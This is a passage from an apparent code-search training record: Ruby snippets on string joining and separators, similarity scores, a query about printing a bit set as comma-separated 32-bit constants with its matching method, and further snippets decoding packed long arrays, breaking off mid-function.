"def parameterize(string, sep = '-')\n return string if string.blank?\n string = string.to_s\n\n # replace accented chars with their ascii equivalents\n parameterized_string = ActiveSupport::Inflector.transliterate(string)\n # Turn unwanted chars into the separator\n parameterized_string.gsub!(/[^a-z0-9\\-.]+/i, sep)\n unless sep.nil? || sep.empty?\n re_sep = Regexp.escape(sep)\n # No more than one of the separator in a row.\n parameterized_string.gsub!(/#{re_sep}{2,}/, sep)\n # Remove leading/trailing separator.\n parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '')\n end\n parameterized_string.downcase\n end",
"def separator\n @parts.push(separator: true)\n end",
"def separator\n return @separ if @separ\n str = \"\"\n if @numbering\n str = \"-\"*(rows+1)+@x\n end\n each_column { | c, ix|\n v = c.width\n next if v == 0 ## hidden column\n str << \"-\" * (v+1) + @x \n }\n @separ = str.chop\n end",
"def default_separator=(separator); end",
"def my_join(separator = '')\n out_str = ''\n each do |x|\n out_str << x\n out_str << separator\n end\n out_str[0..-1 * separator.length]\n end",
"def my_join(sep='')\n str = ''\n self.each_with_index do |ele, i|\n if i == self.length-1\n str += ele \n else\n str += ele + sep\n end\n end\n str\n end",
"def list_separator(list)\n identifier((list.separator || :space).to_s)\n end",
"def to_s\n format = \"#{nombre}: \"\n food = @ingredientes.head\n while food != @ingredientes.tail do\n format += \"#{food[:value].nombre}, \"\n food = food[:next]\n end\n format += \"#{@ingredientes.tail[:value].nombre}\"\n end",
"def to_s\n\t\t\"#{@label}:#{@items.map { |x| x.to_s }.join(' ')}\"\n\tend",
"def separator\n puts \" \"\n puts pastel.bright_magenta(\"======================================================\")\n puts \" \"\n end",
"def separator\n puts \" \"\n puts pastel.bright_magenta(\"======================================================\")\n puts \" \"\n end",
"def separator\n puts \" \"\n puts pastel.bright_magenta(\"======================================================\")\n puts \" \"\n end",
"def print_multiple_words\n text = @array_to_split.join(\", \")\n text += \", and #{@lastword}\"\n return text\n end",
"def ids_to_s(many_ids, id_sep = CompositePrimaryKeys::ID_SEP, list_sep = ',', left_bracket = '(', right_bracket = ')')\r\n many_ids.map {|ids| \"#{left_bracket}#{ids}#{right_bracket}\"}.join(list_sep)\r\n end",
"def separator\n \"-\" * (COLUMN_NUM * COLUMN_SIZE)\nend",
"def sequence_separator=(_arg0); end",
"def sequence_separator=(_arg0); end",
"def separator\n return @separator\n end",
"def to_s\n\t\tstring = @nombre + \" ,Ingredientes: \"\n\t\t@lista.zip(@listagr).each do |normal, gr|\n string += normal.nombre + \" \" \n\t\t\tstring += gr.to_s + \" gr \"\n end\n\t\tstring\n\tend",
"def to_sentence(ary)\n # your implementation here\n words = ary\n result = \"\"\n \n while words.length > 0 do\n result << words.shift.to_s\n if words.length > 1\n result << \", \"\n elsif words.length == 1\n result << \" and \" \n end \n end\n puts result\nend",
"def buscar_representante(representante_ids, representantes)\n representante_ids.map { |_id| representantes[_id] }.join(\", \") if !representante_ids.nil? && !representante_ids.blank?\n end",
"def default_separator; end",
"def ids_to_s(many_ids, id_sep = CompositePrimaryKeys::ID_SEP, list_sep = ',', left_bracket = '(', right_bracket = ')')\n many_ids.map {|ids| \"#{left_bracket}#{CompositePrimaryKeys::CompositeKeys.new(ids)}#{right_bracket}\"}.join(list_sep)\n end",
"def names_to_s_delim(delimiter)\n \n all_param_names = @values.keys.sort\n \n all_param_names.join(delimiter)\n \n end",
"def separator(type = 'middle')\n if unicode?\n case type\n when 'first' then left, center, right = \"\\u250F\", \"\\u2533\", \"\\u2513\"\n when 'middle' then left, center, right = \"\\u2523\", \"\\u254A\", \"\\u252B\"\n when 'last' then left, center, right = \"\\u2517\", \"\\u253B\", \"\\u251B\"\n end\n else\n left = right = center = '+'\n end\n left + @cols.map { |c| horizontal_bar * (c.width + 2) }.join(center) + right\n end",
"def convert\n last_word\n \n if @array_to_split.length == 1\n print_two_words\n else\n print_multiple_words\n end\n end",
"def to_s(tab)\r\n\t\ts = \"\"\r\n\t\tif @lista_identificador != nil\r\n\t\t\ts << @lista_identificador.to_s(tab) + @identificador.to_s(tab)\r\n\r\n\t\telse\r\n\t\t\ts << @identificador.to_s(tab)\r\n\t\tend\r\n\r\n\t\treturn s\r\n\tend",
"def to_sentence(ary)\n\n\tif ary.count > 1\n\t\tlast_word=ary.pop\n\t\tfirst_words=ary.join \", \"\n\t\tnew_sentence=first_words + \" and \" + last_word\n\telse\n\t\tnew_sentence=ary.join\n\tend\n\nend",
"def sentence_maker(words)\n\tstring = \"\"\n\twords.each do |x|\n\t\tstring = string + x.to_s + \" \"\n\tend\n\treturn string.capitalize.strip + \".\"\nend",
"def human_list(list)\n case list.length\n when 0\n \"\"\n when 1\n list[0]\n when 2\n \"#{list[0]} and #{list[1]}\"\n else\n \"#{list[0...-1].join(', ')}, and #{list[-1]}\"\n end\nend",
"def main_thing(arr, delimiter = \"\")\n\njoin_word = \"\"\n\narr.each do |i|\n if arr.index(i) > 0\n join_word += delimiter\n end\n join_word += i\n end\n p join_word\n end",
"def to_phrase(items)\n *items, last_item = items\n return last_item if items.empty?\n\n items.join(', ') + ', and ' + last_item\n end",
"def to_s\n\ts = \"\\nLista de Individuos y sus alimentos\\n\"\n for j in 0..@individuos.length-1\n s << @individuos[j].to_s + \"\\n\"\n end\n s\n end",
"def add_seperator\n add_child Nokogiri::XML::Node.new('separator', document)\n end",
"def separate_comma(integer)\n if integer.to_s.length <= 3\n comma_string = integer.to_s\n else\n integer_array = integer.to_s.split('')\n integer_array.each_with_index do |n, i|\n if i % 4 == 0\n integer_array.insert(-i, \",\")\n end\n comma_string = integer_array.join(\"\")\n comma_string[0] = \"\"\n end\n end\n p comma_string\nend",
"def print_separator\n\t40.times {print '-'}\n\tputs\nend",
"def to_s\n string = \"[ \"\n nodo = @head\n while nodo != @tail\n if nodo.value != nil\n string = string + nodo.value.nombre + \", \"\n nodo = nodo.next\n end\n end\n if nodo.value != nil\n string = string + nodo.value.nombre + \" ]\"\n end\n string\n end",
"def my_join(array, separator)\n\tarray_string = \" \"\n\tarray.each{ |a| array_string << a + separator }\n\treturn array_string\nend",
"def join(separator = $OFS)\n '' + _join(separator)\n end",
"def term_value messages, sep = ' '\n vals = term_values messages\n return nil if !vals\n val = vals.join sep\n end",
"def format_words\n return \"@words = #{@words.inspect}\"\n end",
"def formatted(separator = ';')\n \"#{prefix}#{id}#{separator}#{control_codes}\"\n end",
"def display_as_numbered_list(header:, strings:)\n string_array = [header + \"\\n\"]\n strings.each_with_index do |string, i|\n string_array.push(\" #{i + 1}. \" + string + \"\\n\")\n end\n string_array.join(\"\\n\")\n end",
"def display_boards_separators separator_display_method\n\t\tseparator_display_method.call(HOLE_SIZE, false)\n\t\tprint \" \"\n\t\tseparator_display_method.call(RATING_SIZE, true, false)\n\tend",
"def to_s\n @vector.to_s\n end",
"def to_s\n spoonerize.join(\" \")\n end",
"def separator\n self.horizontal_bar * @width\n end",
"def to_s(tab)\r\n\t\ts = \"\"\r\n\t\tif @l_declaraciones != nil\r\n\t\t\ts << @l_declaraciones.to_s(tab) + (\" \"*(tab+1))+\"Sequencing\\n\" + @declaracion.to_s(tab+1) \r\n\r\n\t\telse\r\n\t\t\ts << @declaracion.to_s(tab)\r\n\t\tend\r\n\r\n\t\treturn s\r\n\tend",
"def to_s(tab)\r\n\t\ts = \"\"\r\n\t\tif @l_declaraciones != nil\r\n\t\t\ts << @l_declaraciones.to_s(tab) + (\" \"*(tab+1))+\"Sequencing\\n\" + @declaracion.to_s(tab+1) \r\n\r\n\t\telse\r\n\t\t\ts << @declaracion.to_s(tab)\r\n\t\tend\r\n\r\n\t\treturn s\r\n\tend",
"def to_s(tab)\r\n\t\ts = \"\"\r\n\t\tif @l_identificadores != nil\r\n\t\t\ts << @l_identificadores.to_s(tab+1)\r\n\t\telse\r\n\t\t\ts << @l_identificadores.to_s(tab+1)\r\n\t\tend\r\n\r\n\t\treturn s\r\n\tend",
"def vocabulary_list(levels = nil)\n return level_items_list(\"vocabulary\", levels)\n end",
"def separator=(value)\n @separator = value\n end",
"def add_s(words)\n words_plural = []\n words.each_index do |index|\n unless index == 1\n words_plural << words[index] + \"s\"\n end\n end\n words_plural.insert(1, words[1])\nend"
] |
[
"0.53777874",
"0.53327453",
"0.52480674",
"0.52415013",
"0.51935035",
"0.5172291",
"0.5128371",
"0.51173854",
"0.5090287",
"0.50711614",
"0.50691605",
"0.5051663",
"0.50398797",
"0.5031539",
"0.5009744",
"0.5007542",
"0.5006006",
"0.50013644",
"0.4922791",
"0.49165013",
"0.4913722",
"0.4883553",
"0.4882761",
"0.48743728",
"0.48376736",
"0.4829365",
"0.48286906",
"0.48099804",
"0.47914985",
"0.47912818",
"0.47656274",
"0.47554326",
"0.47533882",
"0.4743697",
"0.47376782",
"0.4733872",
"0.47332346",
"0.47318414",
"0.47190496",
"0.4718951",
"0.4709304",
"0.47070086",
"0.46902198",
"0.46902198",
"0.46881956",
"0.46867967",
"0.46828273",
"0.46806547",
"0.4668889",
"0.4656341",
"0.46562132",
"0.46541354",
"0.46526468",
"0.4647807",
"0.46471748",
"0.46408007",
"0.46387747",
"0.46387747",
"0.46387747",
"0.46265703",
"0.46234447",
"0.46227264",
"0.46163738",
"0.46163738",
"0.4597009",
"0.4590913",
"0.4590471",
"0.4589726",
"0.45827475",
"0.45765433",
"0.4576431",
"0.4557924",
"0.45490736",
"0.45460948",
"0.4538713",
"0.45355403",
"0.45353854",
"0.4534811",
"0.4532188",
"0.45292562",
"0.45289612",
"0.45289052",
"0.45258182",
"0.4523551",
"0.45086783",
"0.44974443",
"0.4489491",
"0.4481723",
"0.44743246",
"0.44733208",
"0.4472756",
"0.44716176",
"0.44702753",
"0.44667894",
"0.4465619",
"0.4465619",
"0.4457612",
"0.4447319",
"0.44445327",
"0.4444465"
] |
0.7126704
|
0
|
Dump a commaseparated list of the words making up the bit set. Split each 64 bit number into two more manageable 32 bit numbers. This generates a commaseparated list of C++like unsigned long constants.
|
def to_string_of_half_words
s = StringBuffer.new
i = 0
while i < @bits.attr_length
if (!(i).equal?(0))
s.append(", ")
end
tmp = @bits[i]
tmp &= 0xffffffff
s.append(tmp)
s.append("UL")
s.append(", ")
tmp = @bits[i] >> 32
tmp &= 0xffffffff
s.append(tmp)
s.append("UL")
i += 1
end
return s.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_string_of_words\n s = StringBuffer.new\n i = 0\n while i < @bits.attr_length\n if (!(i).equal?(0))\n s.append(\", \")\n end\n s.append(@bits[i])\n s.append(\"L\")\n i += 1\n end\n return s.to_s\n end",
"def dump_memory_list\r\n list_memory.each_with_index {|x,i| puts \"#{ i }. #{ x[0].to_s(16) }(#{ x[1] })\"}\r\n true\r\n end",
"def hash\n @list.each_slice(16).map do |sub|\n \"%02x\" % sub.reduce(:^)\n end.join\n end",
"def hash\n @list.each_slice(16).map do |sub|\n \"%02x\" % sub.reduce(:^)\n end.join\n end",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def build_id_offsets\n {\n i386: [0x174],\n arm: [0x174],\n thumb: [0x174],\n aarch64: [0x238],\n amd64: [0x270, 0x174],\n powerpc: [0x174],\n powerpc64: [0x238],\n sparc: [0x174],\n sparc64: [0x270]\n }[context.arch.to_sym] || []\n end",
"def used_bits(_options = {})\n used_bits = []\n named_bits do |_name, bit|\n used_bits << bit.position if bit.size == 1\n if bit.size > 1\n used_bits << ((bit.position)..(bit.position + bit.size - 1)).to_a\n end\n end\n used_bits.flatten!\n used_bits.sort!\n used_bits\n end",
"def list_bit_flags\n if (!@cached)\n @cached = lists.uniq.inject(0) { |memo,cur| memo |= (1 << cur) }\n end\n @cached\n end",
"def to_s\n bits=\"\"\n @fields.each {|f| \n if f.kind_of? Fields::Field\n bits << f.bitstring\n else\n bits << f.to_bitstring\n end\n }\n [bits].pack('B*')\n end",
"def bitmask(int)\n return int.to_s(2).reverse.split('')\n end",
"def bits_for(*field_names)\n bits = []\n \n field_names.flatten.each do |i|\n if i.is_a?(Integer)\n bits << i\n next\n end\n \n if i.respond_to?(:to_sym) and @field_list[i.to_sym]\n bits << @field_list[i.to_sym]\n end\n end\n \n bits.flatten\n end",
"def marshal_dump\n [self[:dwLower].read_ulong, self[:dwUpper].read_ulong]\n end",
"def to_words\n word_sets = []\n phone_number_combinations.each do |combination|\n part_words = []\n combination.each do |part_number|\n word_arr = @word_hash[part_number]\n part_words << word_arr if !word_arr.nil? && !word_arr.empty?\n end\n word_sets << part_words if part_words.size == combination.size\n end\n\n words = []\n word_sets.each do |word_set|\n next if @max_word_sets && word_set.size > @max_word_sets\n first_set, *rest_set = word_set\n words += first_set.product(*rest_set)\n end\n words\n end",
"def split_bits(bitstring)\n i = 0\n @long_bitstring = \"\"\n @lat_bitstring = \"\"\n while i < bitstring.length\n if i % 2 == 0\n @long_bitstring += bitstring[i]\n else\n @lat_bitstring += bitstring[i]\n end\n i += 1 \n end\n return @long_bitstring\n return @lat_bitstring\n end",
"def marshal_dump\n [@lsi_vector, @lsi_norm, @raw_vector, @raw_norm, @categories, @word_hash]\n end",
"def i64s\n little? ? BinUtils.get_sint64_le(read(8)) : BinUtils.get_sint64_be(read(8))\n end",
"def build_word_indices(include_checksum = true)\n s = id.to_bits(ID_LENGTH_BITS)\n s << iteration_exp.to_bits(ITERATION_EXP_LENGTH_BITS)\n s << group_index.to_bits(4)\n s << (group_threshold - 1).to_bits(4)\n s << (group_count - 1).to_bits(4)\n raise StandardError, \"Group threshold(#{group_threshold}) cannot be greater than group count(#{group_count}).\" if group_threshold > group_count\n s << member_index.to_bits(4)\n s << (member_threshold - 1).to_bits(4)\n value_length = value.to_i(16).bit_length\n padding_length = RADIX_BITS - (value_length % RADIX_BITS)\n s << value.to_i(16).to_bits(value_length + padding_length)\n s << checksum.to_bits(30) if include_checksum\n s.chars.each_slice(10).map{|index| index.join.to_i(2)}\n end",
"def wp_parse_id_list(list)\n list = wp_parse_list list\n list.map{|i| i.to_i.abs}.uniq\n end",
"def write_multi_debug code_length\n result = ['4A000004 00000001'] # start at quantity 1\n\n write_amount = zero_pad_int(code_length, 3)\n result + [\"4#{write_amount}0010 00000001\"] # increase by 1\n end",
"def encode(list)\n pack(list).map { |i| [i.length,i.first] }\nend",
"def six_bits_to_b64(bits)\n b64=\"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\n b64[bits.reverse.to_i(2)]\n end",
"def pack_int64_bigendian(value)\n (0..7).map { |index| (value >> (index * 8)) & 0xFF }.reverse.map(&:chr).join\n end",
"def as_string bitmap\n return 'none' if bitmap.zero?\n res = []\n\n @name_to_bitmap.each do |name, bit|\n res << name if (bitmap & bit) != 0\n end\n\n res.join ','\n end",
"def generate_random_numbers() \r\n #The variable l is used to define the length of the binary integer. \r\n #For instance, if l == 4, the the binary integers will be 4-bits long. \r\n bit_string = @total_sequence\r\n start_point = 0\r\n end_point = @l-1\r\n random_numbers = []\r\n while end_point < bit_string.length\r\n current_bit_string = bit_string[start_point..end_point].join('')\r\n numerator = current_bit_string.to_i(2)\r\n random_numbers << numerator *1.0/ (2**@l)\r\n\r\n if bit_string.length - end_point < @l\r\n break\r\n else\r\n start_point = end_point + 1\r\n end_point = start_point + @l-1\r\n end\r\n end\r\n return random_numbers\r\n end",
"def long_number_in_words\n magnitude_part_and_remainder.map(&:in_words).join(magnitude_separator)\n end",
"def bits_to_coordinates(bits)\n a = (bits & 0b11111_00000_00000_00000_00000) >> 20\n e = (bits & 0b11111_00000_00000_00000) >> 15\n d = (bits & 0b11111_00000_00000) >> 10\n c = (bits & 0b11111_00000) >> 5\n b = bits & 0b11111\n\n coordinates = []\n\n coordinates.push(*word_to_coordinates(:A, a))\n coordinates.push(*word_to_coordinates(:B, b))\n coordinates.push(*word_to_coordinates(:C, c))\n coordinates.push(*word_to_coordinates(:D, d))\n coordinates.push(*word_to_coordinates(:E, e))\n end",
"def word_combos_to(all_word_combo)\n\t\ttrue_perms = all_word_combo.flatten(1)\n\t\treturn true_perms.map {|x| x.join}\n\tend",
"def even_the_bit_lengths(*numbers)\n longest_length = numbers.max {|a, b| a.length <=> b.length}.length\n numbers.map! do |number|\n while number.length != longest_length\n number.unshift(0)\n end\n number\n end\n numbers\nend",
"def pack_int64le(val)\n [val & 0x00000000ffffffff, val >> 32].pack(\"V2\")\n end",
"def write_word32_native(val)\n pw(val, 'L')\n end",
"def translate_to_binary(array_of_hex)\n array_of_binary = []\n array_of_hex.each do |num|\n array_of_binary << sprintf(\"%b\", num).rjust(32, '0')\n end\n array_of_binary\n end",
"def i64s\n r = little? ? BinUtils.get_sint64_le(@data, @pos) : BinUtils.get_sint64_be(@data, @pos)\n @pos += 8\n r\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def n4\n ret = []\n $base_words.each { |base_word|\n (0..9).each { |n|\n ret << \"#{n}#{base_word}\"\n }\n }\n return ret\n end",
"def pack_bit_fields\n @unpacked = []\n \n self.class.fields.each_with_index do |name, position|\n \n if bit_fields = self.class.bit_fields[name]\n \n bit_value = 0\n bit_fields.each do |(bit_name, bits_number, bit_mask)|\n masked = @attributes[bit_name] & bit_mask\n \n raise ValueOverflow, \n \"the value #{@attributes[bit_name]} \"+\n \"is too big for #{bits_number} bits\" if masked != @attributes[bit_name]\n \n bit_value = bit_value << bits_number\n bit_value |= masked\n end\n \n # Value of fields composed by binary fields is always overwritten\n # by the composition of the latter\n attributes[name] = bit_value\n end\n \n @unpacked[position] = @attributes[name] || 0\n \n end\n \n @raw = @unpacked.pack( self.class.unpack_recipe )\n end",
"def wordBits\n @@wordBits\n end",
"def split_bitstring(bitstring) \n arr = []\n mini = 0\n max = mini + 4 \n maxi = (bitstring.length) - 1\n while max <= maxi\n arr << bitstring[mini .. max]\n mini += 5\n max = mini + 4 \n end\n return arr\n end",
"def to_s(addr: nil)\n value = to_i(addr: addr)\n # TODO: don't fix the length at 64\n length = 64\n bits = (\"%0#{length}b\" % value).gsub(/(\\d)(?=(\\d\\d\\d\\d\\d\\d\\d\\d)+(?!\\d))/, '\\\\1_')\n comments = ''\n @instruction_specs.each do |_field_name, spec|\n comments += \"#{spec} \"\n end\n \"#{bits} // #{comments.strip}\"\n end",
"def generate_primer_id_pool(l=8)\n nt = ['A','T','C','G']\n pid_pool = ['A','T','C','G']\n (l-1).times do\n pid_pool = pid_pool.product(nt)\n pid_pool.collect! do |v|\n v.join(\"\")\n end\n end\n return pid_pool\nend",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def write_long(*n); end",
"def dump\n # from collections import deque\n\n bit_array = [1, 0] # [1, 0] indicates the 0th node\n labels = ['']\n indices = []\n\n #dumps by Breadth-first search\n queue = []\n queue.push @tree\n\n until queue.empty?\n node = queue.shift\n labels.push node.value\n # indices.push \n\n bit_array += [1] * node.children.size + [0]\n\n node.children.each do |child|\n child.visited = true\n queue.push child\n end\n end\n [bit_array, labels, indices]\n end",
"def show_binstring()\n @values.values.map do |v|\n v ? \"1\" : \"0\"\n end.join\n end",
"def switches\n [short, long].map(&:to_s)\n end",
"def single_number_32bit(nums)\n bits = 4\n arr = Array.new(bits, 0) # constant space\n\n for i in 0...bits\n nums.each do |num|\n n = (num >> i) & 1 # moving bit at most significant place, anding with 1 so that last bit will just give 1 or 0, because 1 is 0...00001\n arr[bits-i-1] += n\n end\n arr[bits-i-1] %= 3\n end\n\n result = 0\n puts arr.to_s\n for i in 0...bits\n result += (arr[i] << (bits-i-1))\n end\n result\nend",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def hex_bitmap hex\n bin = hex.split(' ').map do |n|\n n.hex.to_s(2).rjust(8, '0').gsub(/[01]/, '0' => ' ', '1' => 'x')\n end\n\n bin.each { |n| puts n }\nend",
"def decode(v)\n out = []\n\n # hand optimized, unrolled ULID-Base32 format decoder based on\n # https://github.com/oklog/ulid/blob/c3c01856f7e43fa64133819126887124d5f05e39/ulid.go#L234\n\n # 6 bytes timestamp (48 bits)\n out << ((B32REF[v[0]] << 5) | B32REF[v[1]])\n out << ((B32REF[v[2]] << 3) | (B32REF[v[3]] >> 2))\n out << ((B32REF[v[3]] << 6) | (B32REF[v[4]] << 1) | (B32REF[v[5]] >> 4))\n out << ((B32REF[v[5]] << 4) | (B32REF[v[6]] >> 1))\n out << ((B32REF[v[6]] << 7) | (B32REF[v[7]] << 2) | (B32REF[v[8]] >> 3))\n out << ((B32REF[v[8]] << 5) | B32REF[v[9]])\n\n # 10 bytes of entropy (80 bits)\n out << ((B32REF[v[10]] << 3) | (B32REF[v[11]] >> 2))\n out << ((B32REF[v[11]] << 6) | (B32REF[v[12]] << 1) | (B32REF[v[13]] >> 4))\n out << ((B32REF[v[13]] << 4) | (B32REF[v[14]] >> 1))\n out << ((B32REF[v[14]] << 7) | (B32REF[v[15]] << 2) | (B32REF[v[16]] >> 3))\n out << ((B32REF[v[16]] << 5) | B32REF[v[17]])\n out << ((B32REF[v[18]] << 3) | B32REF[v[19]]>>2)\n out << ((B32REF[v[19]] << 6) | (B32REF[v[20]] << 1) | (B32REF[v[21]] >> 4))\n out << ((B32REF[v[21]] << 4) | (B32REF[v[22]] >> 1))\n out << ((B32REF[v[22]] << 7) | (B32REF[v[23]] << 2) | (B32REF[v[24]] >> 3))\n out << ((B32REF[v[24]] << 5) | B32REF[v[25]])\n\n # get the array as a string, coercing each value to a single byte\n out = out.pack('C' * 16)\n\n out\n end",
"def encode_modified(list)\n pack(list).map { |i| i.length > 1 ? [i.length,i.first] : i.first }\nend",
"def stringy(num, bit = 1)\n bin_arr = []\n num.times { |n| n.even? ? bin_arr << (0 + bit) : bin_arr << (1 - bit) }\n bin_arr.join\nend",
"def encode_uint64(value)\n [value].pack(\"Q>\")\n end",
"def to_vui(ary,ofs)\n b0=ary[ofs]\n return [b0,1] if b0 <128\n b0&=0x7f\n b1=ary[ofs+1]\n return [b0+(b1<<7),2] if b1<128\n b1&=0x7f\n b2=ary[ofs+2]\n return [b0+(b1<<7)+(b2<<14),3] if b2<128\n b2&=0x7f \n b3=ary[ofs+3]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21),4] if b3<128\n b3&=0x7f \n b4=ary[ofs+4]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28),5]\n throw \"error\"\nend\n# buf to varlong\ndef to_vul(ary,ofs)\n b0=ary[ofs]\n return [b0,1] if b0 <128\n b0&=0x7f\n b1=ary[ofs+1]\n return [b0+(b1<<7),2] if b1<128\n b1&=0x7f\n b2=ary[ofs+2]\n return [b0+(b1<<7)+(b2<<14),3] if b2<128\n b2&=0x7f \n b3=ary[ofs+3]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21),4] if b3<128\n b3&=0x7f \n b4=ary[ofs+4]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28),5]\n b4&=0x7f\n b5=ary[ofs+5]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35),6]\n b5&=0x7f\n b6=ary[ofs+6]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35)+(b6<<42),7]\n b6&=0x7f\n b7=ary[ofs+7]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35)+(b6<<42)+(b7<<49),8]\n b7&=0x7f\n b8=ary[ofs+8]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35)+(b6<<42)+(b7<<49)+(b8<<56),9]\n b8&=0x7f\n b9=ary[ofs+9]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35)+(b6<<42)+(b7<<49)+(b8<<56)+(b9<<63),10]\n throw \"error\"\nend\n\ndef to_l(ary,ofs)\n return ary[ofs+7]+(ary[ofs+6]<<8)+(ary[ofs+5]<<16)+(ary[ofs+4]<<24)+(ary[ofs+3]<<32)+(ary[ofs+2]<<40)+(ary[ofs+1]<<48)+(ary[ofs]<<56)\nend\n\n\ndef bm2ary(bm)\n out=[0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0]\n out[0]=1 if bm & 1 == 1\n out[1]=1 if bm & 2 == 2\n out[2]=1 if bm & 4 == 4\n out[3]=1 if bm & 8 == 8\n out[4]=1 if bm & 16 == 16\n out[5]=1 if bm & 32 == 32\n out[6]=1 if bm & 64 == 64\n out[7]=1 if bm & 128 == 128\n out[8]=1 if bm & 256 == 256\n out[9]=1 if bm & 512 == 512\n out[10]=1 if bm & 1024 == 1024\n out[11]=1 if bm & 2048 == 2048\n out[12]=1 if bm & 4096 == 4096\n out[13]=1 if bm & 8192 == 8192\n out[14]=1 if bm & 16384 == 16384\n out[15]=1 if bm & 32768 == 32768\n return out\nend\n\n\n# long \ndef i32_to_bitary(v)\n out=[]\n 32.times do |i|\n out[31-i]=v&1\n v=v>>1\n end\n return out\nend\n\ndef bitary_to_i(ba)\n out=0\n v=1\n ba.size.times do |i|\n out+=v if ba[ba.size-1-i]==1 \n v=v<<1\n end\n return out\nend\n\n# [25215072,806882310],[25215072,806882310],[25215072,806882310], ...\n#\n# 9 bits * 256 = 2304 bits, 36 longs\n# irb(main):002:0> printf(\"%b\",25215072)\n# 1100000001100000001100000\n# 110000000 110000000 1100000\n# 000011000 000011000 000011000\n\n# [[25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215328,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215073,-2145907706],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [0,806882310]]\n\n#\n# 19200, 11488\n# {\"x\":1200,\"z\":718,\"groundUp\":true,\"bitMap\":15,\"heightmaps\":{\"type\":\"compound\",\"name\":\"\",\"value\":{\"MOTION_BLOCKING\":{\"type\":\"longArray\",\"value\":[[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[1,-117670337]]},\"WORLD_SURFACE\":{\"type\":\"longArray\",\"value\":[[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[1,-117670337]]}}}\n\n# MSB - LSB\n# 0 aaaaaaaaa bbbbbbbbb ccccccccc ddddddddd eeeeeeeee fffffffff ggggggggg hhhhhhhhh iiiiiiiii\n# \ndef la2hm(la)\n outhm=[]\n ba=[]\n la.each do |pair|\n ba0=i32_to_bitary(pair[0])\n ba1=i32_to_bitary(pair[1])\n ba63=ba0[1..-1]+ba1 # 9*7\n slices=[]\n ba63.each_slice(9) do |slice|\n slices.push(slice)\n end\n slices.reverse.each do |slice|\n outhm.push(bitary_to_i(slice))\n end\n end\n return outhm\nend\n\n# ul:uint64_t\ndef ul2blocks(ul,bit_depth)\n \n if bit_depth==4 then\n # 1ULに16個入ってる\n s0=(ul>>48)&0xffff\n s1=(ul>>32)&0xffff\n s2=(ul>>16)&0xffff\n s3=ul&0xffff\n return [\n (s0>>12)&0xf,(s0>>8)&0xf,(s0>>4)&0xf,s0&0xf,\n (s1>>12)&0xf,(s1>>8)&0xf,(s1>>4)&0xf,s1&0xf,\n (s2>>12)&0xf,(s2>>8)&0xf,(s2>>4)&0xf,s2&0xf,\n (s3>>12)&0xf,(s3>>8)&0xf,(s3>>4)&0xf,s3&0xf\n ]\n elsif bit_depth==5 then\n # 1ULに12個はいっててMSBが0000\n return [\n (ul>>55)&0x1f,(ul>>50)&0x1f,(ul>>45)&0x1f,(ul>>40)&0x1f,(ul>>35)&0x1f,\n (ul>>30)&0x1f,(ul>>25)&0x1f,(ul>>20)&0x1f,(ul>>15)&0x1f,(ul>>10)&0x1f,\n (ul>>5)&0x1f,(ul&0x1f)\n ]\n elsif bit_depth==6 then\n # 1ULに10個 MSBは0000\n return [\n 